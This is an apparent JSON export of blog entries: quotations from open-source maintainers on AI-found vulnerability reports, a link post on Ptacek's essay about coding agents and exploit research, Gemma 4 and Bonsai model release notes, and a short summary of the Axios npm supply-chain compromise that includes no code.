  "search_document": "'4':6A,22C 'a':1A 'ago':14C 'and':15C 'been':17C 'deepmind':11C 'gemma':5A,21C 'google':10C 'grootendorst':8C 'guide':3A 'has':16C 'joined':9C 'maarten':7C 'months':13C 'newsletter.maartengrootendorst.com':24C 'on':19C 'release':23C 'the':20C 'to':4A 'two':12C 'visual':2A 'working':18C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": true,
  "title": ""
}
quotation 2026-04-04 02:20:17+00:00
{
  "id": 2134,
  "slug": "kyle-daigle",
  "quotation": "[GitHub] platform activity is surging. There were 1 billion commits in 2025. Now, it's 275 million per week, on pace for 14 billion this year if growth remains linear (spoiler: it won't.)\r\n\r\nGitHub Actions has grown from 500M minutes/week in 2023 to 1B minutes/week in 2025, and now 2.1B minutes so far this week.",
  "source": "Kyle Daigle",
  "source_url": "https://twitter.com/kdaigle/status/2040164759836778878",
  "created": "2026-04-04T02:20:17+00:00",
  "metadata": {},
  "search_document": "'1':8A '14':23A '1b':45A '2.1':51A '2023':43A '2025':12A,48A '275':16A '500m':40A 'actions':36A,61B 'activity':3A 'and':49A 'b':52A 'billion':9A,24A 'commits':10A 'daigle':63C 'far':55A 'for':22A 'from':39A 'github':1A,35A,58B,60B 'github-actions':59B 'grown':38A 'growth':28A 'has':37A 'if':27A 'in':11A,42A,47A 'is':4A 'it':14A,32A 'kyle':62C 'linear':30A 'million':17A 'minutes':53A 'minutes/week':41A,46A 'now':13A,50A 'on':20A 'pace':21A 'per':18A 'platform':2A 'remains':29A 's':15A 'so':54A 'spoiler':31A 'surging':5A 't':34A 'there':6A 'this':25A,56A 'to':44A 'week':19A,57A 'were':7A 'won':33A 'year':26A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "COO, GitHub"
}
blogmark 2026-04-03 23:59:08+00:00
{
  "id": 9405,
  "slug": "vulnerability-research-is-cooked",
  "link_url": "https://sockpuppet.org/blog/2026/03/30/vulnerability-research-is-cooked/",
  "link_title": "Vulnerability Research Is Cooked",
  "via_url": null,
  "via_title": null,
  "commentary": "Thomas Ptacek's take on the sudden and enormous impact the latest frontier models are having on the field of vulnerability research.\r\n\r\n> Within the next few months, coding agents will drastically alter both the practice and the economics of exploit development. Frontier model improvement won\u2019t be a slow burn, but rather a step function. Substantial amounts of high-impact vulnerability research (maybe even most of it) will happen simply by pointing an agent at a source tree and typing \u201cfind me zero days\u201d.\r\n\r\nWhy are agents so good at this? A combination of baked-in knowledge, pattern matching ability and brute force:\r\n\r\n> You can't design a better problem for an LLM agent than exploitation research.\r\n>\r\n> Before you feed it a single token of context, a frontier LLM already encodes supernatural amounts of correlation across vast bodies of source code. Is the Linux KVM hypervisor connected to the\u00a0`hrtimer`\u00a0subsystem,\u00a0`workqueue`, or\u00a0`perf_event`? The model knows.\r\n>\r\n> Also baked into those model weights: the complete library of documented \"bug classes\" on which all exploit development builds: stale pointers, integer mishandling, type confusion, allocator grooming, and all the known ways of promoting a wild write to a controlled 64-bit read/write in Firefox.\r\n>\r\n> Vulnerabilities are found by pattern-matching bug classes and constraint-solving for reachability and exploitability. Precisely the implicit search problems that LLMs are most gifted at solving. Exploit outcomes are straightforwardly testable success/failure trials. An agent never gets bored and will search forever if you tell it to.\r\n\r\nThe article was partly inspired by [this episode of the Security Cryptography Whatever podcast](https://securitycryptographywhatever.com/2026/03/25/ai-bug-finding/), where David Adrian, Deirdre Connolly, and Thomas interviewed Anthropic's Nicholas Carlini for 1 hour 16 minutes.\r\n\r\nI just started a new tag here for [ai-security-research](https://simonwillison.net/tags/ai-security-research/) - it's up to 11 posts already.",
  "created": "2026-04-03T23:59:08+00:00",
  "metadata": {},
  "search_document": "'/2026/03/25/ai-bug-finding/),':296C '/tags/ai-security-research/)':328C '1':310C '11':333C '16':312C '64':225C 'a':72C,77C,101C,117C,134C,148C,153C,219C,223C,317C 'ability':126C 'across':162C 'adrian':299C 'agent':99C,140C,267C 'agents':53C,112C 'ai':10B,13B,19B,22B,323C 'ai-ethics':18B 'ai-security-research':21B,322C 'all':200C,213C 'allocator':210C 'already':156C,335C 'also':185C 'alter':56C 'amounts':81C,159C 'an':98C,138C,266C 'and':32C,60C,104C,127C,212C,239C,245C,271C,302C 'anthropic':305C 'are':39C,111C,231C,254C,261C 'article':281C 'at':100C,115C,257C 'baked':121C,186C 'baked-in':120C 'be':71C 'before':144C 'better':135C 'bit':226C 'bodies':164C 'bored':270C 'both':57C 'brute':128C 'bug':196C,237C 'builds':203C 'burn':74C 'but':75C 'by':96C,233C,285C 'can':131C 'careers':9B 'carlini':17B,308C 'classes':197C,238C 'code':167C 'coding':52C 'combination':118C 'complete':192C 'confusion':209C 'connected':173C 'connolly':301C 'constraint':241C 'constraint-solving':240C 'context':152C 'controlled':224C 'cooked':4A 'correlation':161C 'cryptography':291C 'david':298C 'days':109C 'deirdre':300C 'design':133C 'development':65C,202C 'documented':195C 'drastically':55C 'economics':62C 'encodes':157C 'enormous':33C 'episode':287C 'ethics':20B 'even':89C 'event':181C 'exploit':64C,201C,259C 'exploitability':246C 'exploitation':142C 'feed':146C 'few':50C 'field':43C 'find':106C 'firefox':229C 'for':137C,243C,309C,321C 'force':129C 'forever':274C 'found':232C 'frontier':37C,66C,154C 'function':79C 'generative':12B 'generative-ai':11B 'gets':269C 'gifted':256C 'good':114C 'grooming':211C 'happen':94C 'having':40C 'here':320C 'high':84C 'high-impact':83C 'hour':311C 'hrtimer':176C 'hypervisor':172C 'i':314C 'if':275C 'impact':34C,85C 'implicit':249C 'improvement':68C 'in':122C,228C 'inspired':284C 'integer':206C 'interviewed':304C 'into':187C 'is':3A,168C 'it':92C,147C,278C,329C 'just':315C 'knowledge':123C 'known':215C 'knows':184C 'kvm':171C 'latest':36C 'library':193C 'linux':170C 'llm':139C,155C 'llms':14B,253C 'matching':125C,236C 'maybe':88C 'me':107C 'minutes':313C 'mishandling':207C 'model':67C,183C,189C 'models':38C 'months':51C 'most':90C,255C 'never':268C 'new':318C 'next':49C 'nicholas':16B,307C 'nicholas-carlini':15B 'of':44C,63C,82C,91C,119C,151C,160C,165C,194C,217C,288C 'on':29C,41C,198C 'or':179C 'outcomes':260C 'partly':283C 'pattern':124C,235C 'pattern-matching':234C 'perf':180C 'podcast':293C 'pointers':205C 'pointing':97C 'posts':334C 'practice':59C 'precisely':247C 'problem':136C 'problems':251C 'promoting':218C 'ptacek':8B,26C 'rather':76C 'reachability':244C 'read/write':227C 'research':2A,24B,46C,87C,143C,325C 's':27C,306C,330C 'search':250C,273C 'security':5B,23B,290C,324C 'securitycryptographywhatever.com':295C 'securitycryptographywhatever.com/2026/03/25/ai-bug-finding/),':294C 'simonwillison.net':327C 'simonwillison.net/tags/ai-security-research/)':326C 'simply':95C 'single':149C 'slow':73C 'so':113C 'sockpuppet.org':336C 'solving':242C,258C 'source':102C,166C 'stale':204C 'started':316C 'step':78C 'straightforwardly':262C 'substantial':80C 'subsystem':177C 'success/failure':264C 'sudden':31C 'supernatural':158C 't':70C,132C 'tag':319C 'take':28C 'tell':277C 'testable':263C 'than':141C 'that':252C 'the':30C,35C,42C,48C,58C,61C,169C,175C,182C,191C,214C,248C,280C,289C 'this':116C,286C 'thomas':7B,25C,303C 'thomas-ptacek':6B 'those':188C 'to':174C,222C,279C,332C 'token':150C 'tree':103C 'trials':265C 'type':208C 'typing':105C 'up':331C 'vast':163C 'vulnerabilities':230C 'vulnerability':1A,45C,86C 'was':282C 'ways':216C 'weights':190C 'whatever':292C 'where':297C 'which':199C 'why':110C 'wild':220C 'will':54C,93C,272C 'within':47C 'won':69C 'workqueue':178C 'write':221C 'you':130C,145C,276C 'zero':108C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-04-03 21:48:22+00:00
{
  "id": 2133,
  "slug": "willy-tarreau",
  "quotation": "On the kernel security list we've seen a huge bump of reports. We were between 2 and 3 per week maybe two years ago, then reached probably 10 a week over the last year with the only difference being only AI slop, and now since the beginning of the year we're around 5-10 per day depending on the days (fridays and tuesdays seem the worst). Now most of these reports are correct, to the point that we had to bring in more maintainers to help us.\r\n\r\nAnd we're now seeing on a daily basis something that never happened before: duplicate reports, or the same bug found by two different people using (possibly slightly) different tools.",
  "source": "Willy Tarreau",
  "source_url": "https://lwn.net/Articles/1065620/",
  "created": "2026-04-03T21:48:22+00:00",
  "metadata": {},
  "search_document": "'-10':56A '10':29A '2':17A '3':19A '5':55A 'a':9A,30A,96A 'ago':25A 'ai':42A,122B,125B,128B 'ai-security-research':127B 'and':18A,44A,64A,90A 'are':74A 'around':54A 'basis':98A 'before':103A 'beginning':48A 'being':40A 'between':16A 'bring':83A 'bug':109A 'bump':11A 'by':111A 'correct':75A 'daily':97A 'day':58A 'days':62A 'depending':59A 'difference':39A 'different':113A,118A 'duplicate':104A 'found':110A 'fridays':63A 'generative':124B 'generative-ai':123B 'had':81A 'happened':102A 'help':88A 'huge':10A 'in':84A 'kernel':3A 'last':34A 'linux':120B 'list':5A 'llms':126B 'maintainers':86A 'maybe':22A 'more':85A 'most':70A 'never':101A 'now':45A,69A,93A 'of':12A,49A,71A 'on':1A,60A,95A 'only':38A,41A 'or':106A 'over':32A 'people':114A 'per':20A,57A 'point':78A 'possibly':116A 'probably':28A 're':53A,92A 'reached':27A 'reports':13A,73A,105A 'research':130B 'same':108A 'security':4A,121B,129B 'seeing':94A 'seem':66A 'seen':8A 'since':46A 'slightly':117A 'slop':43A 'something':99A 'tarreau':132C 'that':79A,100A 'the':2A,33A,37A,47A,50A,61A,67A,77A,107A 'then':26A 'these':72A 'to':76A,82A,87A 'tools':119A 'tuesdays':65A 'two':23A,112A 'us':89A 'using':115A 've':7A 'we':6A,14A,52A,80A,91A 'week':21A,31A 'were':15A 'willy':131C 'with':36A 'worst':68A 'year':35A,51A 'years':24A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "Lead Software Developer. HAPROXY"
}
quotation 2026-04-03 21:46:07+00:00
{
  "id": 2132,
  "slug": "daniel-stenberg",
  "quotation": "The challenge with AI in open source security has transitioned from an AI slop tsunami into more of a ... plain security report tsunami. Less slop but lots of reports. Many of them really good.\r\n\r\nI'm spending hours per day on this now. It's intense.",
  "source": "Daniel Stenberg",
  "source_url": "https://mastodon.social/@bagder/116336957584445742",
  "created": "2026-04-03T21:46:07+00:00",
  "metadata": {},
  "search_document": "'a':19A 'ai':4A,13A,49B,52B,58B 'ai-security-research':57B 'an':12A 'but':26A 'challenge':2A 'curl':47B 'daniel':55B,61C 'daniel-stenberg':54B 'day':40A 'from':11A 'generative':51B 'generative-ai':50B 'good':34A 'has':9A 'hours':38A 'i':35A 'in':5A 'intense':46A 'into':16A 'it':44A 'less':24A 'llms':53B 'lots':27A 'm':36A 'many':30A 'more':17A 'now':43A 'of':18A,28A,31A 'on':41A 'open':6A 'per':39A 'plain':20A 'really':33A 'report':22A 'reports':29A 'research':60B 's':45A 'security':8A,21A,48B,59B 'slop':14A,25A 'source':7A 'spending':37A 'stenberg':56B,62C 'the':1A 'them':32A 'this':42A 'transitioned':10A 'tsunami':15A,23A 'with':3A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "lead developer of cURL"
}
quotation 2026-04-03 21:44:41+00:00
{
  "id": 2131,
  "slug": "greg-kroah-hartman",
  "quotation": "Months ago, we were getting what we called 'AI slop,' AI-generated security reports that were obviously wrong or low quality. It was kind of funny. It didn't really worry us.\r\n\r\nSomething happened a month ago, and the world switched. Now we have real reports. All open source projects have real reports that are made with AI, but they're good, and they're real.",
  "source": "Greg Kroah-Hartman",
  "source_url": "https://www.theregister.com/2026/03/26/greg_kroahhartman_ai_kernel/",
  "created": "2026-04-03T21:44:41+00:00",
  "metadata": {},
  "search_document": "'a':36A 'ago':2A,38A 'ai':9A,12A,59A,70B,73B,76B 'ai-generated':11A 'ai-security-research':75B 'all':48A 'and':39A,64A 'are':56A 'but':60A 'called':8A 'didn':29A 'funny':27A 'generated':13A 'generative':72B 'generative-ai':71B 'getting':5A 'good':63A 'greg':79C 'happened':35A 'hartman':82C 'have':45A,52A 'it':23A,28A 'kind':25A 'kroah':81C 'kroah-hartman':80C 'linux':68B 'llms':74B 'low':21A 'made':57A 'month':37A 'months':1A 'now':43A 'obviously':18A 'of':26A 'open':49A 'or':20A 'projects':51A 'quality':22A 're':62A,66A 'real':46A,53A,67A 'really':31A 'reports':15A,47A,54A 'research':78B 'security':14A,69B,77B 'slop':10A 'something':34A 'source':50A 'switched':42A 't':30A 'that':16A,55A 'the':40A 'they':61A,65A 'us':33A 'was':24A 'we':3A,7A,44A 'were':4A,17A 'what':6A 'with':58A 'world':41A 'worry':32A 'wrong':19A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "Linux kernel maintainer ([bio](https://en.wikipedia.org/wiki/Greg_Kroah-Hartman)), in conversation with Steven J. Vaughan-Nichols"
}
blogmark 2026-04-02 18:28:54+00:00
{
  "id": 9404,
  "slug": "gemma-4",
  "link_url": "https://blog.google/innovation-and-ai/technology/developers-tools/gemma-4/",
  "link_title": "Gemma 4: Byte for byte, the most capable open models",
  "via_url": null,
  "via_title": null,
  "commentary": "Four new vision-capable Apache 2.0 licensed reasoning LLMs from Google DeepMind, sized at 2B, 4B, 31B, plus a 26B-A4B Mixture-of-Experts.\r\n\r\nGoogle emphasize \"unprecedented level of intelligence-per-parameter\", providing yet more evidence that creating small useful models is one of the hottest areas of research right now.\r\n\r\nThey actually label the two smaller models as E2B and E4B for \"Effective\" parameter size. The system card explains:\r\n\r\n> The smaller models incorporate Per-Layer Embeddings (PLE) to maximize parameter efficiency in on-device deployments. Rather than adding more layers or parameters to the model, PLE gives each decoder layer its own small embedding for every token. These embedding tables are large but are only used for quick lookups, which is why the effective parameter count is much smaller than the total.\r\n\r\nI don't entirely understand that, but apparently that's what the \"E\" in E2B means!\r\n\r\nOne particularly exciting feature of these models is that they are multi-modal beyond just images:\r\n\r\n> **Vision and audio**: All models natively process video and images, supporting variable resolutions, and excelling at visual tasks like OCR and chart understanding. Additionally, the E2B and E4B models feature native audio input for speech recognition and understanding.\r\n\r\nI've not figured out a way to run audio input locally - I don't think that feature is in LM Studio or Ollama yet.\r\n\r\nI tried them out using the GGUFs for [LM Studio](https://lmstudio.ai/models/gemma-4). The 2B (4.41GB), 4B (6.33GB) and 26B-A4B (17.99GB) models all worked perfectly, but the 31B (19.89GB) model was broken and spat out `\"---\\n\"` in a loop for every prompt I tried.\r\n\r\nThe succession of [pelican quality](https://gist.github.com/simonw/12ae4711288637a722fd6bd4b4b56bdb) from 2B to 4B to 26B-A4B is notable:\r\n\r\nE2B:\r\n\r\n![Two blue circles on a brown rectangle and a weird mess of orange blob and yellow triangle for the pelican](https://static.simonwillison.net/static/2026/gemma-4-2b-pelican.png)\r\n\r\nE4B:\r\n\r\n![Two black wheels joined by a sort of grey surfboard, the pelican is semicircles and a blue blob floating above it](https://static.simonwillison.net/static/2026/gemma-4-4b-pelican.png)\r\n\r\n26B-A4B:\r\n\r\n![Bicycle has the right pieces although the frame is wonky. Pelican is genuinely good, has a big triangle beak and a nice curved neck and is clearly a bird that is sitting on the bicycle](https://static.simonwillison.net/static/2026/gemma-4-26b-pelican.png)\r\n\r\n(This one actually had an SVG error - \"error on line 18 at column 88: Attribute x1 redefined\" - but after [fixing that](https://gist.github.com/simonw/12ae4711288637a722fd6bd4b4b56bdb?permalink_comment_id=6074105#gistcomment-6074105) I got probably the best pelican I've seen yet from a model that runs on my laptop.)\r\n\r\nGoogle are providing API access to the two larger Gemma models via their [AI Studio](https://aistudio.google.com/prompts/new_chat?model=gemma-4-31b-it). I added support to [llm-gemini](https://github.com/simonw/llm-gemini) and then [ran a pelican](https://gist.github.com/simonw/f9f9e9c34c7cc0ef5325a2876413e51e) through the 31B model using that:\r\n\r\n    llm -m gemini/gemma-4-31b-it 'Generate an SVG of a pelican riding a bicycle'\r\n\r\nPretty good, though it is missing the front part of the bicycle frame:\r\n\r\n![Motion blur lines, a mostly great bicycle albeit missing the front part of the frame. Pelican is decent. ](https://static.simonwillison.net/static/2026/gemma-4-31b-pelican.png)",
  "created": "2026-04-02T18:28:54+00:00",
  "metadata": {},
  "search_document": "'/models/gemma-4).':286C '/prompts/new_chat?model=gemma-4-31b-it).':491C '/simonw/12ae4711288637a722fd6bd4b4b56bdb)':331C '/simonw/12ae4711288637a722fd6bd4b4b56bdb?permalink_comment_id=6074105#gistcomment-6074105)':455C '/simonw/f9f9e9c34c7cc0ef5325a2876413e51e)':509C '/simonw/llm-gemini)':501C '/static/2026/gemma-4-26b-pelican.png)':431C '/static/2026/gemma-4-2b-pelican.png)':365C '/static/2026/gemma-4-31b-pelican.png)':561C '/static/2026/gemma-4-4b-pelican.png)':390C '17.99':298C '18':442C '19.89':307C '2.0':45C '26b':60C,296C,338C,392C '26b-a4b':59C,295C,337C,391C '2b':54C,288C,333C '31b':56C,306C,512C '4':2A '4.41':289C '4b':55C,291C,335C '6.33':292C '88':445C 'a':27B,58C,254C,317C,347C,351C,372C,382C,409C,414C,421C,467C,505C,523C,526C,544C 'a4b':61C,297C,339C,393C 'above':386C 'access':478C 'actually':95C,434C 'added':493C 'adding':133C 'additionally':234C 'after':450C 'ai':12B,15B,487C 'aistudio.google.com':490C 'aistudio.google.com/prompts/new_chat?model=gemma-4-31b-it).':489C 'albeit':548C 'all':214C,301C 'although':399C 'an':436C,520C 'and':103C,212C,219C,224C,231C,237C,247C,294C,312C,350C,357C,381C,413C,418C,502C 'apache':44C 'api':477C 'apparently':185C 'are':156C,159C,204C,475C 'areas':89C 'as':101C 'at':53C,226C,443C 'attribute':446C 'audio':213C,242C,258C 'beak':412C 'best':460C 'beyond':208C 'bicycle':28B,394C,428C,527C,539C,547C 'big':410C 'bird':422C 'black':368C 'blob':356C,384C 'blog.google':562C 'blue':344C,383C 'blur':542C 'broken':311C 'brown':348C 'but':158C,184C,304C,449C 'by':371C 'byte':3A,5A 'capable':8A,43C 'card':111C 'chart':232C 'circles':345C 'clearly':420C 'column':444C 'count':171C 'creating':80C 'curved':416C 'decent':558C 'decoder':144C 'deepmind':51C 'deployments':130C 'device':129C 'don':179C,262C 'e':190C 'e2b':102C,192C,236C,342C 'e4b':104C,238C,366C 'each':143C 'effective':106C,169C 'efficiency':125C 'embedding':149C,154C 'embeddings':120C 'emphasize':67C 'entirely':181C 'error':438C,439C 'every':151C,320C 'evidence':78C 'excelling':225C 'exciting':196C 'experts':65C 'explains':112C 'feature':197C,240C,266C 'figured':252C 'fixing':451C 'floating':385C 'for':4A,105C,150C,162C,244C,281C,319C,360C 'four':39C 'frame':401C,540C,555C 'from':49C,332C,466C 'front':535C,551C 'gb':290C,293C,299C,308C 'gemini':498C 'gemini/gemma-4-31b-it':518C 'gemma':1A,32B,483C 'generate':519C 'generative':14B 'generative-ai':13B 'genuinely':406C 'ggufs':280C 'gist.github.com':330C,454C,508C 'gist.github.com/simonw/12ae4711288637a722fd6bd4b4b56bdb)':329C 'gist.github.com/simonw/12ae4711288637a722fd6bd4b4b56bdb?permalink_comment_id=6074105#gistcomment-6074105)':453C 'gist.github.com/simonw/f9f9e9c34c7cc0ef5325a2876413e51e)':507C 'github.com':500C 'github.com/simonw/llm-gemini)':499C 'gives':142C 'good':407C,529C 'google':11B,50C,66C,474C 'got':457C 'great':546C 'grey':375C 'had':435C 'has':395C,408C 'hottest':88C 'i':178C,249C,261C,274C,322C,456C,462C,492C 'images':210C,220C 'in':126C,191C,268C,316C 'incorporate':116C 'input':243C,259C 'intelligence':72C 'intelligence-per-parameter':71C 'is':84C,166C,172C,201C,267C,340C,379C,402C,405C,419C,424C,532C,557C 'it':387C,531C 'its':146C 'joined':370C 'just':209C 'label':96C 'laptop':473C 'large':157C 'larger':482C 'layer':119C,145C 'layers':135C 'level':69C 'licensed':46C 'like':229C 'line':441C 'lines':543C 'llm':20B,30B,34B,497C,516C 'llm-gemini':496C 'llm-reasoning':29B 'llm-release':33B 'llms':18B,19B,23B,48C 'lm':37B,269C,282C 'lm-studio':36B 'lmstudio.ai':285C 'lmstudio.ai/models/gemma-4).':284C 'local':17B 'local-llms':16B 'locally':260C 'lookups':164C 'loop':318C 'm':517C 'maximize':123C 'means':193C 'mess':353C 'missing':533C,549C 'mixture':63C 'mixture-of-experts':62C 'modal':207C 'model':140C,309C,468C,513C 'models':10A,83C,100C,115C,200C,215C,239C,300C,484C 'more':77C,134C 'most':7A 'mostly':545C 'motion':541C 'much':173C 'multi':206C 'multi-modal':205C 'my':472C 'n':315C 'native':241C 'natively':216C 'neck':417C 'new':40C 'nice':415C 'not':251C 'notable':341C 'now':93C 'ocr':230C 'of':64C,70C,86C,90C,198C,326C,354C,374C,522C,537C,553C 'ollama':272C 'on':128C,346C,426C,440C,471C 'on-device':127C 'one':85C,194C,433C 'only':160C 'open':9A 'or':136C,271C 'orange':355C 'out':253C,277C,314C 'own':147C 'parameter':74C,107C,124C,170C 'parameters':137C 'part':536C,552C 'particularly':195C 'pelican':25B,327C,362C,378C,404C,461C,506C,524C,556C 'pelican-riding-a-bicycle':24B 'per':73C,118C 'per-layer':117C 'perfectly':303C 'pieces':398C 'ple':121C,141C 'plus':57C 'pretty':528C 'probably':458C 'process':217C 'prompt':321C 'providing':75C,476C 'quality':328C 'quick':163C 'ran':504C 'rather':131C 'reasoning':31B,47C 'recognition':246C 'rectangle':349C 'redefined':448C 'release':35B 'research':91C 'resolutions':223C 'riding':26B,525C 'right':92C,397C 'run':257C 'runs':470C 's':187C 'seen':464C 'semicircles':380C 'sitting':425C 'size':108C 'sized':52C 'small':81C,148C 'smaller':99C,114C,174C 'sort':373C 'spat':313C 'speech':245C 'static.simonwillison.net':364C,389C,430C,560C 'static.simonwillison.net/static/2026/gemma-4-26b-pelican.png)':429C 'static.simonwillison.net/static/2026/gemma-4-2b-pelican.png)':363C 'static.simonwillison.net/static/2026/gemma-4-31b-pelican.png)':559C 'static.simonwillison.net/static/2026/gemma-4-4b-pelican.png)':388C 'studio':38B,270C,283C,488C 'succession':325C 'support':494C 'supporting':221C 'surfboard':376C 'svg':437C,521C 'system':110C 't':180C,263C 'tables':155C 'tasks':228C 'than':132C,175C 'that':79C,183C,186C,202C,265C,423C,452C,469C,515C 'the':6A,87C,97C,109C,113C,139C,168C,176C,189C,235C,279C,287C,305C,324C,361C,377C,396C,400C,427C,459C,480C,511C,534C,538C,550C,554C 'their':486C 'them':276C 'then':503C 'these':153C,199C 'they':94C,203C 'think':264C 'this':432C 'though':530C 'through':510C 'to':122C,138C,256C,334C,336C,479C,495C 'token':152C 'total':177C 'triangle':359C,411C 'tried':275C,323C 'two':98C,343C,367C,481C 'understand':182C 'understanding':233C,248C 'unprecedented':68C 'used':161C 'useful':82C 'using':278C,514C 'variable':222C 've':250C,463C 'via':485C 'video':218C 'vision':22B,42C,211C 'vision-capable':41C 'vision-llms':21B 'visual':227C 'was':310C 'way':255C 'weird':352C 'what':188C 'wheels':369C 'which':165C 'why':167C 'wonky':403C 'worked':302C 'x1':447C 'yellow':358C 'yet':76C,273C,465C",
  "import_ref": null,
  "card_image": "https://static.simonwillison.net/static/2026/gemma-4-31b-pelican.png",
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-04-01 20:20:04+00:00
{
  "id": 9403,
  "slug": "1-bit-bonsai",
  "link_url": "https://prismml.com/news/bonsai-8b",
  "link_title": "Announcing 1-bit Bonsai",
  "via_url": null,
  "via_title": null,
  "commentary": "PrismML is a newly out-of-stealth AI lab with [a focus](https://prismml.com/about) on researching \"can we massively multiply intelligence in models without increasing their size or complexity?\".\r\n\r\nTheir first model release is a model called Bonsai, and it's very small indeed: it comes in 1.7B, 4B and 8B parameter sizes but uses 1 bit parameters. Here are the sizes of the resulting models on Hugging Face:\r\n\r\n<center><table>\r\n<thead>\r\n<tr>\r\n<th>Model</th>\r\n<th>Size</th>\r\n</tr>\r\n</thead>\r\n<tbody>\r\n<tr>\r\n<td><a href=\"https://huggingface.co/prism-ml/Bonsai-8B-mlx-1bit\">Bonsai-8B-mlx-1bit</a></td>\r\n<td>1.3 GB</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"https://huggingface.co/prism-ml/Bonsai-8B-gguf\">Bonsai-8B-gguf</a></td>\r\n<td>1.16 GB</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"https://huggingface.co/prism-ml/Bonsai-4B-gguf\">Bonsai-4B-gguf</a></td>\r\n<td>572 MB</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"https://huggingface.co/prism-ml/Bonsai-4B-mlx-1bit\">Bonsai-4B-mlx-1bit</a></td>\r\n<td>645 MB</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"https://huggingface.co/prism-ml/Bonsai-1.7B-gguf\">Bonsai-1.7B-gguf</a></td>\r\n<td>248 MB</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"https://huggingface.co/prism-ml/Bonsai-1.7B-mlx-1bit\">Bonsai-1.7B-mlx-1bit</a></td>\r\n<td>285 MB</td>\r\n</tr>\r\n</tbody>\r\n</table></center>",
  "created": "2026-04-01T20:20:04+00:00",
  "metadata": {},
  "search_document": "'-1.7':106C,113C '/about)':20C '1':2A,63C '1.16':90C '1.3':84C '1.7':54C '1bit':83C,102C,117C '248':110C '285':118C '4b':56C,94C,100C '572':96C '645':103C '8b':58C,81C,88C 'a':7C,16C,41C 'ai':13C 'and':45C,57C 'announcing':1A 'are':67C 'b':55C,108C,115C 'b-gguf':107C 'b-mlx-1bit':114C 'bit':3A,64C 'bonsai':4A,44C,80C,87C,93C,99C,105C,112C 'bonsai-4b-gguf':92C 'bonsai-4b-mlx-1bit':98C 'bonsai-8b-gguf':86C 'bonsai-8b-mlx-1bit':79C 'but':61C 'called':43C 'can':23C 'comes':52C 'complexity':35C 'face':76C 'first':37C 'focus':17C 'gb':85C,91C 'gguf':89C,95C,109C 'here':66C 'hugging':75C 'in':28C,53C 'increasing':31C 'indeed':50C 'intelligence':27C 'is':6C,40C 'it':46C,51C 'lab':14C 'massively':25C 'mb':97C,104C,111C,119C 'mlx':82C,101C,116C 'model':38C,42C,77C 'models':29C,73C 'multiply':26C 'newly':8C 'of':11C,70C 'on':21C,74C 'or':34C 'out':10C 'out-of-stealth':9C 'parameter':59C 'parameters':65C 'prismml':5C 'prismml.com':19C,120C 'prismml.com/about)':18C 'release':39C 'researching':22C 'resulting':72C 's':47C 'size':33C,78C 'sizes':60C,69C 'small':49C 'stealth':12C 'the':68C,71C 'their':32C,36C 'uses':62C 'very':48C 'we':24C 'with':15C 'without':30C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": true,
  "title": ""
}
quotation 2026-04-01 02:07:16+00:00
{
  "id": 2130,
  "slug": "soohoon-choi",
  "quotation": "I want to argue that AI models will write good code because of economic incentives. Good code is cheaper to generate and maintain. Competition is high between the AI models right now, and the ones that win will help developers ship reliable features fastest, which requires simple, maintainable code. Good code will prevail, not only because we want it to (though we do!), but because economic forces demand it. Markets will not reward slop in coding, in the long-term.",
  "source": "Soohoon Choi",
  "source_url": "https://www.greptile.com/blog/ai-slopware-future",
  "created": "2026-04-01T02:07:16+00:00",
  "metadata": {},
  "search_document": "'agentic':93B 'agentic-engineering':92B 'ai':6A,29A,82B,85B,88B 'ai-assisted-programming':87B 'and':22A,33A 'argue':4A 'assisted':89B 'because':12A,56A,65A 'between':27A 'but':64A 'cheaper':19A 'choi':96C 'code':11A,17A,49A,51A 'coding':76A 'competition':24A 'demand':68A 'developers':40A 'do':63A 'economic':14A,66A 'engineering':94B 'fastest':44A 'features':43A 'forces':67A 'generate':21A 'generative':84B 'generative-ai':83B 'good':10A,16A,50A 'help':39A 'high':26A 'i':1A 'in':75A,77A 'incentives':15A 'is':18A,25A 'it':59A,69A 'llms':86B 'long':80A 'long-term':79A 'maintain':23A 'maintainable':48A 'markets':70A 'models':7A,30A 'not':54A,72A 'now':32A 'of':13A 'ones':35A 'only':55A 'prevail':53A 'programming':90B 'reliable':42A 'requires':46A 'reward':73A 'right':31A 'ship':41A 'simple':47A 'slop':74A,91B 'soohoon':95C 'term':81A 'that':5A,36A 'the':28A,34A,78A 'though':61A 'to':3A,20A,60A 'want':2A,58A 'we':57A,62A 'which':45A 'will':8A,38A,52A,71A 'win':37A 'write':9A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "Slop Is Not Necessarily The Future"
}
blogmark 2026-03-31 23:28:40+00:00
{
  "id": 9402,
  "slug": "supply-chain-attack-on-axios",
  "link_url": "https://socket.dev/blog/axios-npm-package-compromised",
  "link_title": "Supply Chain Attack on Axios Pulls Malicious Dependency from npm",
  "via_url": "https://lobste.rs/s/l57wuc/supply_chain_attack_on_axios",
  "via_title": "lobste.rs",
  "commentary": "Useful writeup of today's supply chain attack against Axios, the HTTP client NPM package with [101 million weekly downloads](https://www.npmjs.com/package/axios). Versions `1.14.1` and `0.30.4` both included a new dependency called `plain-crypto-js` which was freshly published malware, stealing credentials and installing a remote access trojan (RAT).\r\n\r\nIt looks like the attack came from a leaked long-lived npm token. Axios have [an open issue to adopt trusted publishing](https://github.com/axios/axios/issues/7055), which would ensure that only their GitHub Actions workflows are able to publish to npm. The malware packages were published without an accompanying GitHub release, which strikes me as a useful heuristic for spotting potentially malicious releases - the same pattern was present for LiteLLM [last week](https://simonwillison.net/2026/Mar/24/malicious-litellm/) as well.",
  "created": "2026-03-31T23:28:40+00:00",
  "metadata": {},
